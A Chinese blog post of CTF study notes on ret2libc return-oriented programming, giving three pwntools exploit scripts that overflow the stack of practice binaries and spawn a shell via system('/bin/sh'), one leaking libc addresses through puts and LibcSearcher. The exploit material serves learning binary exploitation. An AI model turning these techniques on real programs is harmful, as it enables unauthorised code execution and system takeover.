美文网首页
一.3_基本rop_ret2libc

一.3_基本rop_ret2libc

作者: Zero_0_0 | 来源:发表于2019-05-04 00:35 被阅读0次

这个题比较多,我们通过脚本分析题(知道思路就Ok了)

EXP_ret2libc1 (脚本就不变了,和自己脚本风格不一样,多看看大牛的脚本吧

有/bin/sh 有system 我们利用ret地址,改为sysytem@plt,如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址,这里以'bbbb' 作为虚假的地址,其后参数对应的参数内容。

#!/usr/bin/env python
from pwn import *

sh = process('./ret2libc1')

binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)

sh.interactive()
EXP_ret2libc2

在没有/bin/sh的情况下,我们应该填写一个可以写入/bin/sh的地方

##!/usr/bin/env python
from pwn import *

sh = process('./ret2libc2')

gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx = 0x0804843d
buf2 = 0x804a080   #这是一个可以具有写入权限的地方
payload = flat(  #构造写入/bin/sh的地方
    ['a' * 112, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2])
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()
EXP_ret2libc3

说白了,就是泄露system的地址(在不知道libc的情况下,泄露还是有点难度的) 自己宛如一个智障 嘻嘻 这脚本没心看,有时间写个能看懂的!
思路:

泄露 __libc_start_main 地址
获取 libc 版本
获取 system 地址与 /bin/sh 的地址
再次执行源程序
触发栈溢出执行 system(‘/bin/sh’)
#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')

ret2libc3 = ELF('./ret2libc3')

puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']

print "leak libc_start_main_got addr and return to main again"
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter('Can you find it !?', payload)

print "get the related addr"
libc_start_main_addr = u32(sh.recv()[0:4])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

print "get shell"
payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)

sh.interactive()

相关文章

  • 一.3_基本rop_ret2libc

    这个题比较多,我们通过脚本分析题(知道思路就Ok了) EXP_ret2libc1 (脚本就不变了,和自己脚本风格...

  • 2022.11.16(晴)

    今天再次全员核酸。3_

  • UNTITLED

    刷题间歇的摸鱼(:3_ヽ)_

  • 一.3_基本rop_ret2syscall

    ret2syscall,即控制程序执行系统调用,获取 shell (很短的一句话,蕴含着大道理) 思考1.程序只...

  • 2022.1.8(阴)

    上午干一天卫生。下午休息,3_

  • 2022.10.22(晴)

    今天课标考试。别逞能,该撤就撤。3_

  • 2022.8.20(晴)

    今天全员做核酸。离开学还有10天。3_

  • 新人报道

    自学绘画,画画渣(:3_ヽ)_, 一下是指绘,板绘和手绘

  • Python札记3_字符串基本操作

    字符串基本操作 字符串是一种序列,序列常见的公有操作: len() :求长度 + :两个序列相加 *:序列的重复,...

  • 3_多态

    面向对象的三大特征:封装、继承和多态; 多态的形式 父类类型的范围 > 字类类型的范围 多态的概念 同一个类型的对...

网友评论

      本文标题:一.3_基本rop_ret2libc

      本文链接:https://www.haomeiwen.com/subject/uzytoqtx.html